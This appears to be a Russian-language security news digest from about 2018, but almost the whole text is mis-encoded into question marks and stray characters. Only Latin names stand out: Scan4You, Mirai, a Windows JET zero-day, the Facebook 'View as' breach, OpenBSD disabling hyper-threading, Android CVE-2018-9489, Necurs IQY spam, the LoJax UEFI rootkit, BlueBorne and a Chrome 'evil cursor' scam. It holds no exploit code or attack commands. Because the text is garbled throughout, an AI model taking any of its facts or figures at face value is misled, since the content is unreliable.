????�?�?�??�??�?????�??????�18�???�??????�??�???�??????�??牜????�??粻???�??????�
????�?�??????��0�????.�??�?�??�??�??????�???,�????�??��18�???��??�??,�???
???�???�???�?????�?��?????�?��???.
??�???�????� ?????�???� ???????�??�?� ???�????� ???????� ??� ???�???� ???�????�?� ???�???,
?????�%�?????�?�??�????�?�?�???�????�??�???.
???�?????�??�?�??�???�???�??�????�?�17�??�????�?�%��??�??�???�??�?.
????�??�?????�??�??????�?� 1000�???�?????�??�????�?� 3�??�???.�????�???�??,�????�
???????�??�????��???�??�????�???�??�??�????�??�?????��0�??�????.
??� ???�????� ?????�??�?� ?????�?� ???�??� ?????�?� 240� ???�????,� ?� ???�??,� ???� ???�???????
??????�???�??���0�???�?????�????.
SCAN4YOU
????????,�燤IRAI
???
???� ?????� 2017� ????� ???�???�???????�??� ????�?� ???� ?????�??�?� ?????�
?????� ????� ????�????� ???�??:� ???�???� ???�???� (Ruslans� Bondars)� ?� ????
???�?????� (Jurijs� Martisevs).� ??� ????�???� ?� ???�??� ???�???� ?� ?????� ??????�
?????�???�???�???�????�????�??,�???�???�??�????�????�??,�???�???�
??????�???��???�????�??,��??�?��??�???�??�??�?�????�???�??�???�
?????.�?�??�??�????�???�??�???�??�??,�??�???�??�?�??�???????�
??� Scan4You� ?� ???�????� ???� ?????�???�????�??,� ?� ???????� ??????�?� ??
???�?� ???�?????� ????� ???�???� ?� ??????,� �????粻 ??� ??� ????�????�??
???????.
??�??�??�??�???�?�?????�?????�?爊o燿istribute�??�???�?.�???�??
??� ??????� ???�???�??� ???????�???� VirusTotal,� ?� ???� ????� ???�????,� ???
????????�??� ???�???� ??� ?????�?� ???�???� ?� ???�???�???�???� ????�????�??
???�??�??� ?� ???�???�?� ???????�??.� ?????� ?????�?� ???�?� ??????�???� ????�
?????�???�??�???,�??�?�??�???�?��??,�??�?�??�???�?�?????�?�???�
????�????�????�??�??????��??????�??.
???�????� ???�??� ???�?????�??� Trend� Micro,� ???�?� ????�??????�??
?� ????�??� ????,� ???�???� ???�??� Scan4You� ???� ?� 2009� ????,� ?� ???� ???�??
???�??�???�????�?�??????�??�??��??�??�??????牜???�?�.
??�?� ???�???�?� Scan4You� ???�?????� ???�??� ??????� ???????�?????� ?????�
?????�??�???�?��??�??�??�??,��12�???�??�????�???�???�?:�?????
???�?????�??�???��??�??燯RL�??�???�?燭rend燤icro.��??�?�??�?????�?
???�????�??�???�?�??�?????�?�??�??�??�??��?????�??燯RL�?燬can4Y?
ou� ?� ???�??� ?????�??� ???�????,� ???� ??????�?� ????�???�???� ???�????
??�??�??????�????�??�???�??�?�?�????�?.��????�??�??�?�??�????�
???�??�???�??�???�??�????�?�??????�??,�??�?�???????�??�??????�?
???��??�??�??�???�???????�??�???�??.
???�????�???�?????�???�???,�??�?????�???�??�????�???�????�????�
???�???�??�??,��????�?�???�????��????�??�????��?�??�????
??� ????�??�??� ?� ???�?� ????.� ?????�??,� ???� ???�??� ???�????� ?� Amazon� Web
Services,� ?� ????�?� ????�??�??�???� ???�???�?� ?????� PayPal,� ???????�???�
?????�??�?�??�?????.�??�????�????�???�???�????�?�??�???燬can4Y?
ou��??�??�???�???.
???�?� ??� ???????�??� ???�???,� ???� ???�???�????�?� ?????�???� ???�??
???�??�????.� ???,� ???�???� ???�???�??� �???�??�???粻 ?� ???????�?� ????�
?????�???� ??????????�???� ???�???� ?� ???�????�??� ???�????� ????,� ???�?
???�??�????�???�??�?�??�????�??�??�??�??�??�????�????營CQ,燬kype,
Jabber� ?� ????�???�??� ???�?.� ???� ?� ???� 2018� ????� ???� ???�??�??� ????�??
???�???� ?????�??.� ????�?� ???�????� ???�???�?� Scan4You� ???� ???????
????� 21� ???�????� 2018� ????.� ???�???� ???�???�???� ?� ?????�????�?� ?????
?????�???�??�??????.
???� ????� ???�?????�?� Trend� Micro� ?????�??�?,� ???� ???�?????� Scan4You
???????�?��??�??�???????�??�??????�?????.�??,�?�?�??�??,�??�???
???�?�??�??��??�??�???�????�?燛va燩harmacy,�??????��?????�?�??????
????�????�?�???�??�??�???�??��??�?�??�????�????�???�??�?.�???�
??� ????,� ?????�???�???� ???�???,� ???� ??� ???�????� Scan4You� ???�???� ????
????�????��??�??????�????�????�???�??�??�???�??�???燬pyEye�燴euS.
Mirai
??�?�???�?�????�?�??�????�????�????�???營oT????�???燤irai.�????�?,
???��????�?�17�???�?�??�????�??�??�?�????�???�??�???�??�??
??�?�???�?????�?�????�??�????�????�??�??????�??,�??�????�??????
???�?????�?�??�?????�??�??�??�??�???�?燤irai�???�??�??�?:�????�??
?????�??�(Paras燡ha)�?�???????�?,�????�??�??�???�???�(Josiah燱hite)
??�??�???�????��????�??�??�??�??�??�(Dalton燦orman)�?�???????.
??� ???????�??� ???�?� ?????�?,� ???,� ???�????� Mirai,� ???� ???�??� ???�?
??� ????�?????� ???�???????� ???�??�??� ??????�????,� ???????� ???�???
????�?� ????�????�??� ???�???� ?� ????�??� ??� ???�?� ????.� ????�???�?� Mirai
?�??�??,�??�??�????�?�???�??�??�??�???,�???�????�?????�??�????�
???燚DoS?????�?�??�?,��???�?�?????�???�???�?????�??�????,�??�???�
???� ?� ???????�??� ?????�???�??� ?????� Minecraft,� ?� ??????� �??�???� ????�
?????�??�.
?�????�?�??�???�??�?�?????????�???��??�??�??�??�????�??�???,
????�??�??????燭elnet????�??,�????�??��??�??�??�???�?,��??�??�???�
?????� ?????� ???�??�??.� ????� ?� ???�????�??� ????�????� ???�????�???� ?????�
???� ????� ???� ????� ?� 100� ???????� ????�??�???�????�??� ??????�??� ??� ????�
???????� ???,� ??� ????� ???�??�??�??� IoT???????�??,� ?????�?,� ????� ?????�?
????�?.
???,� ???�????� ???�??� ????????�???�????,� ????�?� ??� ???�??� 20� ?????
??????燤irai�??????�????��????�????�??,���??�?�??�???�??�???????�
???�????�???�??�?????�??�?�0�?????�?��0�?????�?.�????�?,�??
??????�???�???�???�??�???,�??�??�???�燤irai,�??�?�??�?�?�???�???�
???�?�??�??�???燨VH�(???�????�??�?�??�?????�????/?)��??�?�?燚NS?
???�??�???燚yn,�????�??????�?�??�??�???�??�???��?????�??�??????�
??� ????�??�??� ????,� ?????�???� ???�?,� ???????�??� ????�??�????� ???�???
?�??�??�????�?.
?� ???�?� 2017� ????� ???�?� ?????�??,� ???� ???�????�???� ???????�???� IoT?
???�???�?�??�?????�???�???�???�???�(???�?????,�??�??�?????�??燤i?
rai????�??� ??????�?????� ??� ????�?� ????� DDoS?????,� ??� ?� ???� ???�?????� ?????�
???�?),� ?� ???�?� ???�?????� ?� ???,� ???� ?� 2016� ????� ??????�???�?� ?� ??????�?
?�????�??�??�??�???????�???燤irai,�???�??�????��??�?�??�???�??????�
???.� �??�?粻 ???�?� ???�????� ????� ???� ??????�?� ??� ???� ???,� ???� ???� ????�??
????� IoT????�???� ??????�???� ??� ????� ????????� ?????� ?� ???�??�??�???� ????
Mirai.
??�?� ????� ???�?� ????�??� Mirai� ???�???� ????�????� ?????�??� ???�?,
?????�???�??�???�??�??�???�???�???�??????????,�??�????�?????�?
???,� ????� ?� ???�??� ?� ?????�?� ????�???� ????� ???????� ???�????�???� ?� ????�
????�???????�???� ????�???,� ???????� ???� ?� ???�????� ?????�??????�????.
?� ???�????�??� ????�????� ??� ???�???,� ???�?� ????�?� ?� ?� ??????� ???�????
??????� ?????�?� ?????�???�?� ????�???�??,� ??� ??????�?� ???�?� ??????,� ???
?� ???�?� ???�???� ????� ????� ?� DDoS????�??� Memcached,� ???�??????� ???�???
Kelihos��??�???燰PNFilter.
???�???�?�????�??????�?�??�????�??�??��??�???�???????�???�????�
????�??�????�????燤irai�?????牜???�?????��??�?�?�??�??????營oT?????�
????�?�????��???�?.�???�?�??�?�??,�???��??�??�?????�?�?�???
???� ????�?????�???� ???�?,� ????� ???�???�???� ?� 2500� ?????� ?????�?????�??
?????,� ?� ???�?� ???�???�?� ???�??????� ???�????�??� ????�?� ?� ????�
????� 127� ?????� ???�????� ???� ?� ???�?????�?� ??????� �??�?????�??
???????�??粻 ????�??????,� ???�??�??� ?� ???� ?� ????� ???�??�???�??.� ???�?
????,�??�???��????�??�??�??�??�????�???��??��??�???�???????�???�
????�???????�??�???�?��??�????�????�??????�????.
22%�??�???�?�????�??�????�?�?�???�??�
???�???��???
?�??�??�??�??�??�??�??�????�???�???�??�?????�??�??�??�????�????�??�???�?�???
???�??.�??????�???�?�???�?�??�?��???�???�?��??�?�??????�??�????��???,�??�???
????�??�?�???�????�??�??�??�???�??�?�??�????.��????�??????�??�???�????�????�
???牜??????�????�??�??�??�?�.
45%�???�?????�??�?�????�??�????�?�?�???�??�??�?�??�?�??,�� 20%�????��????
???�??,�???�??�?�??�???�?�??.
68%� ???�?????�??� ???�??� ???�???,� ???�?� ?� ???� ??� ????� ???�?????�?� ????�?� ????�???�?
??�??�?,�???�?�%�?�??�?�?????�?�??�??�???�?��??�?.
??�??� ????,� ?????� ???�???�?� ???�??�?� ????�?� ????� ?� ????� ???�?????,� ???� 23%� ????� ?????
?�????�???�??�???�???�??�?�??�??,�???��????�?�????�??????.
??????????�AY
?燱INDOWS
??�???�?� Trend� Micro� Zero� Day� Initiative� (ZDI)� ????�???�???� ???????�??
?�???�???�?????�??�????�?��??�???�???燤icrosoft燡ET燚atabase燛ngine.
??�??�??�????�???�????,�???�???�???�???�???�???�??�??�?�????�?
???�???燱indows�(Windows�,燱indows�1,燱indows���??�?燱indows燬erv?
er�?�08�?�16)��????�???�??????�??�??�?????�???�???.
???�?????�?�????,�??�??�???�?�???�????燤icrosoft��???�???�??�
??????� ???� 2018� ????� ?� ???�???� ????� ??� ???????�??� ?� ?????� ????�
????��???,��0,�??�????�???�??????�???.�???�?�??�?�??�??�????�?
???????�???� ???,� ????� ?� ???�??� ???�????�??�?� �???�???� ???????�??粻 ????�
?????�???燤icrosoft�????�???�??�??�??�???�???�燡ET.
???�??????� ????�???�???� ?????� ????�???� ??????� ??� ???�???� ??????
(out?of?bounds爓rites),�??????�????�??�??????,�???�??????�???????�???�
???燡ET�????燨bject燣inking燼nd燛mbedding燚atabase�(OLEDB).�??�??�??�??
????�???� ?????� ???�??�?� ?� ???????�??� ???�?????�???� ????� ?� ???�??�??
??????�?� ????�?????�?.� ????�?,� ??� ???�??� ?????�???�????,� ???� ???�?� ????�
?????�?� ???�??�?� ???�???� ????� ???�??� ???????� ???�????�?� ???�?????
????,� ?????�????� ???�??� ????� JET.� ????� ???�??� ??????�???�?� ??????
???�???� ???�???�????,� ?� ???�?????�?� ???�??�?????�?,� ???� ???�????�??
???�????�????�??�?�???�?�?????�?�??�??�?.
Proof?of?concept�??�??�?�??�???�??????�?燝itHub.
???�????�???� ???�?� ???�?� ?????� ??� ????�?� ???????�??�?� �???�???
???????�??�.�???�?�?�????�????�???�???�?????�?????�??�??�??�???�
??????�?��???�???�??�????燗cros燬ecurity.�??�?�??�??�??�??�????�?
????� ????�???�???� ?� ???�???� ??� ???�??�?� 0patch.� 0patch� ?� ???� ????�????,
????�????�??�??�??�??�??�????�??�???,�?�???�?????�????�ay��???�
???� ???�????�?????� ???�????�??,� ???� ???�??�??� ???�??�??,� ???????� ???
??�??�????�???�?�??�???�???�???,�??�????�?�??�?��??�????.�??�??
???�??� 0patch� ?????�??� ??????�????� ???� 32?� ?� 64????�?????� ???�??� Win?
dows�,�1,���??�?燱indows燬erver�08?2016.
???�???�??�?�??�???�?�??�???
??�???�?� �?????�????� ???�??�??�?粻 ???�??�???�???�?� ??????????� 60� ?????� ???�????,� ????�
???�??�?�0�????�???�?�??�???�??.�??�?????�?�????�???�??,�??�?�????�???�?????�
???�??�??�???�??��??�??�???�??�??�????�??�???�?????,�??????�??�?�?????�????�
????�??�???�????�?�???�??????�??�??????�??�????.
?� ?????� ???????�??� ???�??�??� ??� ??????� ???�???�??� ???�????�??� ???�??� ?� ???�??� ???????�
???�18�???�(H1�18)�??�?????�?� 14,5%�?�???�????�?�??�??�?????�???�17�???
(H2�17).
?�??�??�?????�?�18�???�???�??�????�????�?�????�??�????�?�?�???�????��???�
????�?????�????�??�???.�??,�???�?�??�??�?????�?�17�???�??????�??�????�??�???�
???�??�??� ???� ???�??�???� ???�???� ???�????�?� 6,6%� ??� ????�?� ???�?� ???�?????�???� ?� ????�
?????� ???�???�??,� ??� ??� ???�??� ?????� ???????� ??????�?� ????� ???� ???�???�???� ???�?� ?????
?�??�?????�,2%.
?�18�???�?????牜???�????�??�???粻??????�???�???� Hworm,� Smoke�� BetaBot�(??�?
Neurevt).�??�???�??�???�??�???�??�??�????�???��???�?�??牜???�?粻?????�???,��??
???�??�??�????�???�?�???????�??�???�??牜???�????�????�.
??�??�??� ???�??????�??�??� ???�????� ???�??�?� njRAT.� ??� ????� ???�??� 20-?� ???�??,� ????�
????�???�?????.
??�??�?� ?????�?� ????� ????�???????�????�??� ?� ???�????.� ???,� ???�??�???� ??????�???
???�??�??�??�????�?�� 5%�(??�??�??�?????�?�17�???)�?� 12%,��??�??�??��� 2,7%
??�.
??�??�?� ???�?????� ????� ???�??�???� ???�???� (?� 22,5%� ??� 13%)� ?� ??????????� (?� 18,9%
??� 7%).� ????� ??????�?� ???�???,� ???� ????????� ??� ?????�????� ????�?� ???????�??� ???�????
????�????�??�?,� ???�???�?� ??????�?� ???�?� ???� ???�????�???� ??� ??????�???� ????�?????�
??????�????�???,�???�??????,�??�????,�??�?????�?�????�?.
??????????? ??????
?
? �?????�?????
FACEBOOK�????
?????????�?????
??????
??�?????� ??,� ???�?� ????�???,� ???�??�???� ?� ???�???�?� Cambridge� Analytica
?� ???�???�????�???� ????�???????�??�?� ???�???,� Facebook� ???�?� ???�???
????�????� ????�???�?� ?� ???????�????� ????�?????�??.� ????�?� ?� ???�?� ????�
?????� ????�??�??� ????� ?????� ????�???� ?� ???�???�??� ???�??�???�??,
??�???�???????�??�???�??�??�????�??�????��??�?????�???�??????�
???.
28� ???�????� 2018� ????� ????�??�???�?� ????�??�??� ????� ????�???,� ???
????�??�???� ???�???�????�?� ??????�?� ?????� ??????� ???�???,� ??????�??
???�??????,� ???�??�??� ?� ???�??�?� �??�??????� ???粻 (View� as).� ???�??� ????�
????�??�???�?�??�???�???�??�???�??�???�??�???�???�?????�?.
??�??�????�??�??�??,�??�?????�?��???�??��???�17�???,�?,
????� ??� ???�?,� ????�????�?� ????�???�?� ???� ????�?????�?� ?????�?.� ????
?� ???,� ???� ????�???� Facebook� ??????�?� ???�??� ?????�??� ????�?� ???�???
?� ?????�?????�??� ??????????� (???????,� ???� ???�?????� ???�?,� ????� ???�???
?�??�????�?????�?�??????)�???�?��?????�?�??�????�18�???,�??�?,
???�??�?,��???????�???????�??�??�??�??�???�???.
???�?????�????�???�?��??�???�????�??�?????�??燜acebook�??�???
????�?��??�????�18�???,��??�?�??�?????�???�????,�?????�?????�
???�???�????�???,�??�???.�??????�??�?????�??��????�??�???�?????�
???�???�?�????�??,�??�??�??�??�???�??�???�??�?�??�?????�?�?????�
?????� ?� ?� ????� ????� ?????�?� ???�??�?????� ???�???�???????�??� ????�?.
???�?�???�??�???�?�??�????�???�?�????�???�??�??�??�??�??�??�???�
???�???�?????�??��?�???�?�???�???,�???�?�??�?�??�????�?�??�??
????�?????�??�??�???�??�???�???�??�????.�?�???�???????�??�??�??,
???�?�?�???�?????�?.
??� ???�???�??� ?????????�????�??� ????????�?????� ???�????� ???� ?????
(Guy� Rosen)� ???�??�??� ?� ??????�??� ???�????�??� ???????� ???�??�?????.� ???,
??�??�????,�??�???�????�??�???�??�??�?�?????�?�??�??????,�?�???,
????�???�???�????�??�??????�???�?????�??�????.
????�???� ???�????� ???�?� ????,� ???� ???�????�???� ???�???� ?????� ????�
??????�????�????�17�???.�??�??�??�??�????�?��??,�??�??�??????�
???????� ???�???� �??�??????� ???粻 ???�?????� ?????� ????�?� ??� ???�??� ???
????�?????�?,� ??� ?� ??????�??� ???�???� (?????� ???????,� ???�???�???� ?????�
??????�??�???????�???�??�???�??�??�????)�?�??�?�???�????�?.
???�??�??�??�????�?��??,�??�??�?????�????�??�??�?????�????燬SO
(Single� Sign?On,� ???�??????� ???�???� ???�?)� ?� ??????�????� ??????� ???�???,
???�???�??�?��?????�??�??�???�??燜acebook.
??????� ????�?� ???�???�???� ????�?� ?� ???� ???�??,� ????� ?????� ????� ???
????� ?????�???� ????�??� ???� ???�????�????� ???�??� ????� ????�??.� ???�?
???�?�?????�????�?�????�??�???,�?�?�??牜???�???�,�?????�????�?燰iew
as,��??�???�?????�?,�?�???�?????�?牜???�???粻????�????�??�??�???.
????�?�??????�????�???�??�??�??�?????�??�???�????�??�??�???
????????� ??????� ????�?????�??� (???????� ????� ?????,� ??????� ???� ??� ??????�
????????�?�??�??�??�??,�????�?�?�??�??��??�????).
?????� ???�??�?????� ????�???� Facebook� ??????� ???�???????� ????�
??� 90� ???�?????� ????�?????�??� ????�??�??� ????.� ????�???�?,� ???� ??????
???� 50� ???�?????� ????�??� ???????� ????� ????�???�???� ?????� ???�???�?????�
???� ???�???�????�??,� ??� ?� ?????�??� ???�??�?????� ????� ???�?� ????� �????�
????粻??????�??�??��??�?????�??????,�??????�???�???????�??�???�
??牜???�??????�??粻??�??�?????�??.�???�???�?????�??�??�????�????
????�????�???�?�??�?�??�???�??�???�?�??????�????.
??�??�??�???燨PENBSD�??�??�???�??�???�????
INTEL
???�?�????�??�??�???�??�??�??????�??????�??�??�??�???�??�????�(Simultaneous燤ulti?
threading,燬MT),爃yper?threading��???�????營ntel.�??????�????,�??�??�?�????�???�????�
????�??� ?????� ???�????�??� ????�?� Spectre,� ???????�??� ???�????� Foreshadow,� ???�????�???
???�???�??????�??�?�???�???�?�?�?????�??????燬MT�??�?�?????燨penBSD�4.
?牜SMT�??�????�???�?�??�???,�??�??�????�????�?�??�?�??�?燙PU???????�???��???
??????�??� ??� ???�???� ???�????�????�??� ???????�????.� ??????�??� ??� ?????� ????� ??� ???�???�
????� ??????� ???�???�??�?,� ??� ???�?� ???�???,� ???� ??� ???�????� ????�???�??� ??� ???� ?????
????????��????�???�??�???�???�(???�????,�??�???�???燡avaScript��??�??�?)��??�???
???�??�???�??�??�??�??�?�??�????�???�?????�?.� ??�??�??�??�?�???�?�???�??�??
?????� ?� ????�??�??.� ?� ???�??� ????,� ???� SMT� ???�??�??�???�?� ??� ???�???�??�???� ?????�????�
???�?�??�??�????營ntel,��??�??,�??燬MT�???�?�??�????�???�???�??�???�??�????�????�
???�,
?�??�?�????
??????????,
???????
??�???????
???�?????�?� Nightwatch� Cybersecurity� ???�?� ????�??� ???�??????� ?� Android
(CVE?2018?9489).
????�???� ???�???� ?� ??????�???�???�???� ????�???�??� (Broadcast),
?� ????�?� ?� ??????�??� ??????� Intent� ?� �?????�??�.� ???� ??????�???�?
???� ???�???�??�?� ???�????� ???�????� ?� ???�???�?� ???�???�???� ?� ??� ?????�
???�?????� ????�??�?????� ????�????,� ???????� ?????� ????� ???�???�?
??????� ???�???�????� ???� ???�????�???� ?????� ??.� ??� ????,� �?????�??�
??????�???�?� ???� ???�??�??�??�?� ???�??�??�????� ?� ????� ???�?� ???�????�
????� ???� ??????� ???�??� Activity,� ???�????� ?????�?� ???�??�?� ?� ??????�?
??�????�???�???�?.
??�??�???�???� ????�???�?,� ???� ???????�??� ?� Wi?Fi?????� ?� ????????�?
????�??�???�?�
???�?�
???�?�
Intent:�
Wi?Manager�
NETWORK_S?
TATE_CHANGED_ACTION�
?�
Wi?P2pManager�
WIFI_P2P_THIS_DE?
VICE_CHANGED_ACTION.� ??????�??� ???� ???�??�????,� ?????� ???�???�??
?�?�??�?????�??�????�?�????�?????�??燱i?Fi?????,燘SSID,�?????�??營P,
???????�??� ?� DNS????�???� ?� MAC??????� ??????�???.� ???�??� ?????�?????
???�??�??�??�????�???��??�??�??,�???��??�???�??�??�??�??????
??�??�??��??�??�?燱i?Fi.�??�????�?�??�?�??�???�?�???�?�??�???�???�
???????燗ndroid.
??�?�?�??�??�?????牜???�?????粻???�??�????�???????�?�?�???�??
???�???,�??�?�???????,�??��??????�???�??????�??�??�?????�???�
?????�?� ???�???�??� ???� ???�???� ?????� ????�?????�?????� ?� ?????�?????
????�?????�?.��??�???,燘SSID�??�?�???�???��??�????�??�?????�????
WiGLE� ?� SkyHook,� ?????� ????�??� ?????� ????� ???????�??� ???�?????�????
???�??.� ?� ????� ???�??� ???�?,� ??� ????,� ???�???�?� ????�?� ???� ?� ???�??????
Location燗ccess.
??� ???�??� Nightwatch� Cybersecurity,� ?????� ????�????� ???�???� ???� ????�
???燗ndroid�???�?�0,�???�??�???�??�??�?,�??�?燜ireOS�??�????燗ma?
zon.� ?????�???�???� ???�??????�???�?� Google� ??� ???�????�?� ???� ?� ???�?
??????�?�???,��???�???�??�????�????�???�?�燗ndroid燩ie�(9.0).�???�?
???�??�??�??�??�??�??�?�?�??�???�?.
800�0�????��??�???營QY�????�??燦ECURS
???�??�18�???�??�???�?�??�???燦ecurs�????�?�?�????�??�??�???,�?????��??�???�
????� ????�??� ????�?????�?� ???�?� IQY� (Internet� Query),� ?????�??????�??� ???� ????�??????
???�??,� ???�????�????� ?????� ?� ???�??.� ???� ?????�??� ?????� ???�?� ???�???�?� ????�?????�?
???????�?????�??�??�?�???�??�??????�??��??�???燛xcel.�??�??�??????�??�???????�
???�????�???��??�????燛xcel,�??????�???�????�????�??�??�?�?????�??.
???�?????�?營BM燲?Force�??�??�???,�??�?�???�?��??�?�??�?�?????�?�???�18�???
???�??� Necurs� ???�??� 4� ???�????� ?� ???�??????�??� ?????� 780�0� ?????,� ?????�????� ????�
?????�??�??�?營QY.
??�??� ???�????� Necurs� ?� ????????� ???�??????�???� ???�??� FlawedAMMYY,� ???�??�????
??� ????� ????�???� ???????�?� ????� Ammyy� Admin,� ???????�???� ???�??�??�?� ???� ???�??�???
????�??�??�???�??.� ???�?� ???�??� ??????�?� ???�?� ?????� ???�????�???� Marap� ?� Quant
Loader.
??????�??燯EFI
??�???�?� ???�????� ESET� ???�??�???� ?� ???�????�??� ???�????,� ?� ????
???????� ???� ?????�???�??� ???�??� ?????�???� ???�??� ???� Uni?ed� Extensible
Firmware營nterface�(UEFI).�????�????�??�??????�???�???��????�????�??
???�?�??�??�?�?????�????�???.
??�??�??�??�???�??,�??�??�??燯EFI�?????�???�???�?�??�??�???�???�
??????�????�??� ???????,� ?????�???� ???� ???�???�??� APT28,� Sednit,� Fancy
Bear,� Strontium,� Sofacy� ?� ???� ?????.� ?????�??????� ???� ???????� ????� ???�??
???????�?�???�????�??�????�???�?????�?�??????????燬PI,�??�?????�
????�?� ???�???�????�??� ???�???????� ???�?????� ???�???�???� ?� ???�???
??�???�?�??�?�???�???�??�?�?,�?��??�?�?????�??�??�?�??�?.
???� ????�????� ???�???� ???�???�????�?� ??????�???� ???�???� LoJax� ?
�???�???粻 ???????�???� ???????� LoJack� ???�????� Absolute� Software,� ????�
?????�?�??�?????�?????�??�?�??�?��??�?.�???�??�??�???�????�?????�
??�燯EFI��??�???�?,��??�???,�????�?????�??�??????�????�?????�???
???�??�??�?�??�???�??�??.
??�???�??� ???�????�??� ???�??� LoJack� ????� ????�???�?� ??????�???
???�????� Arbor� Networks� ???� ???�??� ??????�?� ????.� ???�?� ????�?????,� ???
????�????�?� ???�???????�?� ????�???� ???�??�???� ?????� ????�??,� ???�?� ??
???�????�?��?�??????�??�?�??�?????,��?��?????????�????燗bsolute
Software.�????�???�???�?????�?燣oJax牜???�??�??�???�??�???�??�,�??
???�?�????�??�??�?�????�???�??�?????�??�??��??�???��???�????�?
??�???�???�?�?�??????�??�??�??�??�??�??�?.
??�???�?� ESET� ????�???�?� ???� ????� ???�???�??� ??� ????�??�???�?????�
???� ?????�??�?.� ???� ??� ???� ????�???� ??� ????� ???�??� ??� ??????�???� ?� ???
???�??�?,� ???�?� ???� ???�??� ???????�?� ???�???�??� ???�????�??� ???????
?� ???�??�???�????� ???�??�?,� ???�??�??�????� ?� SPI????????.� ???� ???�???�
???�????� ?� UEFI/BIOS� ???�???�????�?� ???�???�?� RWEverything� ?� ????�??
????� RwDrv.sys,� ???�??� ????�??� ???� ???�????� ???�???�???�??� ???�??????�
???.
??�?�?�??�???�?�?????�?�???,�???�????�?�??�???�?��?????�???�
?????�?�燯EFI�??????�?????�??�????�(CVE?2014?8273),�??????�??�???�?
????�?�??�??.
???� ??????� ??� LoJax� ?� ???�???�?� ?� ?????�??� ?????� ?� ?????� ?????�???�???
???????�???� ??????�?????� ????????� Secure� Boot,� ???�???�???� ???� ????�
?????�?�??�??�?��?�??�?????�?.�??�??�??�??燣oJax�??�????�??�???
??�??�?,�????�??�?????�??�????�?�??�????�??�???�???�???�?��???�
????.�??�?�??�?????�?�?????�?�??�???�?,�??�?�??????�???�??�?�????�
???�???� ?????� ???�??� ???�??�?,� ????� ???� ????????� ?????�????� ?????�??
???�?�??�???�?,�??�?�?????燬PI???????�???�????�?�??�??�??�??�???�
????.� ????� ???� ????�??� ??� ?????� ???�?????,� ?????�?????� ???�?� ????
??�??????�?.
BLUEBORNE�??�??�??�??
???�????,��??�????�17???,�????�???�???�??�????燗rmis�??�??�?????,�??�3�??�????�
??�?????�??,�?????�???��??�????�?�????�??�???�??燘luetooth�燗ndroid,爄OS,燱indows
?燣inux,�??�???�????�??????�???�???�???�?????,�??????�???�???�????�????�???�
?????� BlueBorne.� ??????� ???�?????�?� Armis� ????�?????�?� ?????� ?� ???,� ???� ????�???� ?????�
??????�?�??�??�??�??.
???�??�??�?????�??,��?????�??,�??????�???�??�???�????燘lueBorne,�???�?????,�??
??� ??� ???????�?� ????� ????�?????�?,� ????� ??????,� ???� ???�???�???�?� ????�?� ??� ?????�???
???� ???� ???�??.� ?� ???�????�?� ?????�?� ???????�??� ??????�?� ????� 2/3� ???�????� ???�????.
???�???�???,�??�????�?????????�?????�??�?�??�??�?????�?�??�??�??.
???�?????燗rmis�??�??�???�?????:
768�0�0�?????�??�?�???燣inux?
734�0�0�?????�??�?�???燗ndroid�1�(Lollipop)��???�??
261�0�0�?????�??�?燗ndroid�Marshmallow)��???�??
200�0�0�?????�??�??�??????�???燱indows?
50�0�0爄OS???????�??,�?????�???��??�????�3.5��???.
????�??�?????�??�???�??�????�????�?????�?.�?�?�??�??,燘lueBorne????�????�?�????
????�???�???�???�?�??�??�??�???.
????�?????
??�??�???�???� Malwarebytes� ???�??�???� ?� ?????�????�??� ????�?� Partner?
stroka,� ???????� ???�???�?� ????�?????�??� Google� Chrome� ??� ???�??� ?????�
?????�??�????�??�??�??�??�??�?????�????�??�???牜????�??�??粻(evil
cursor).
??�?� ????� ???????�?????� ????�?????�?� ??� ???�????�??� ???� ??????�
?????�??� ????�???� ?� ???�???�???� ???� ???� ??????� ??� ????.� ?????� ??????
??????�?� browlock� ?� ??� ???�???�?,� ???�????,� ???�?� ???�?????� ???�??
??????�?� ??� ????�???� ?� ???�??????� ???�????�??� ????�???�???,� ???????
????�???�???� ????�????� pop?up???� ?� �?????�??粻 ???�??�?,� ???� ???�?
??� ????� ???�??� ????????� ????�???,� ??� ???????� ????�???�???� ???�????� ????�
???�????�??��?????�??�????�??�?.
?�??�?????�??�??�???�?????�?�????�???�??�???�?��???�????�???�
?????�??� ???�??�???� ???� �??�??????� ????�???�.� ???� ?????� ????�???�?
???� ????�??�??� ???�???,� ???????� ????� ???�???�????�??� ???�??� ?� ???�???
(???�????�???�???�?),�??��???�?�???�??�????�????�???�????�????.
??�??�???� ?????�????�???� ???�???�??� ?� ??????�???� ????�?� Partner?
stroka,�?�??????�??�???????�??�?�??�???�?�?????�?燤alwarebytes.
??�????� ???�????� ???�???�????�??� ???�???�???� ???�????�??� ???�???
???????�????�?�???�?????�??燝oogle燙hrome�.0.3497.81�?�??�????�??
????�???.� ??� ???�??� ???�?????�??,� ?� ?????� ????�????� ?� ????� ???�????
????�??�?�????��????�??�????�??�??????.
??�?� ?� ?????� ???�???� ???�???�????�??� ???�????�?� ?????�?� ???� ???�?
??????� ????,� ??????�??????� ??????�?� evil� cursor� ????�???� ???� ???�????
??�?????�??.�????�???�?????�???� ???�燙hromium,�??????�??�???�????�
??�???�??燞TML??????.��??�?�???�???????�??�???�??�??�?�???,�???
????�??�??�??�??�??.
???�????�?�???燘ase64燽lurb�?????�???�?��??�??��??�??�??�?????�?,
??� ???�???�????�?� ???�?� ??????�???� ????�?????� ???�???� ???�????� 128� �
128,� ???� ????�???�?� ???�??� ?� ????????� ???????.� ?� ???�?� ????�???????� ????�
????�??�??�?�???,�???�??�????�?,��?�????�???????�????�????�??
????�???.
???�?????�?� Malwarebytes� ???�??�????�?,� ???� ???�??�??� ???� ???� ??
??????�??��??�???????�??�?????�???�?????�?�??�??�???�?????�????�
??.� ????�?� ???� ???????�??� ???�???�?????:� ??????�?� Sucuri� ?� Malwarebytes
?????�?� ???�????� ???�??�???�??� ???�??,� ??????�???� ???� ???????�???
WordPress.� ??????� ????�??�??� ?????�??� ???????�????�?� ????�?????�??
??�??�?�???�????�??�????�??�??�??�??,��?????�??�?�??�??�???�?
???�???� �???� ???�??�.� ??� ???�??� ?????�???�????,� ???�????�??� ???�????
???????��?????�??�????�18�???.
????�??�??�???�??�?�???�??�???�???�??�???�??��???�???�?????
????�?????�?� ??� ???�????�??� ????,� ????�?� ???�???�????�?� ??????�?????
???�??�??�??�?�???�?�??�??�??�??.�???�?�??�?,�???�????�?�??�???�
???�???�?�?�??�????�?��????燙MS,�?�???��??�?????�??�????��????
???燱ordPress.
??�??�00�????�????�??�??????牜???�???�
IPHONE燲S�營PHONE燲S燤AX
???�?????�?燝roup?IB�??�???�?�??�??�???�????�??�??�??????�??�??��???�?????�??
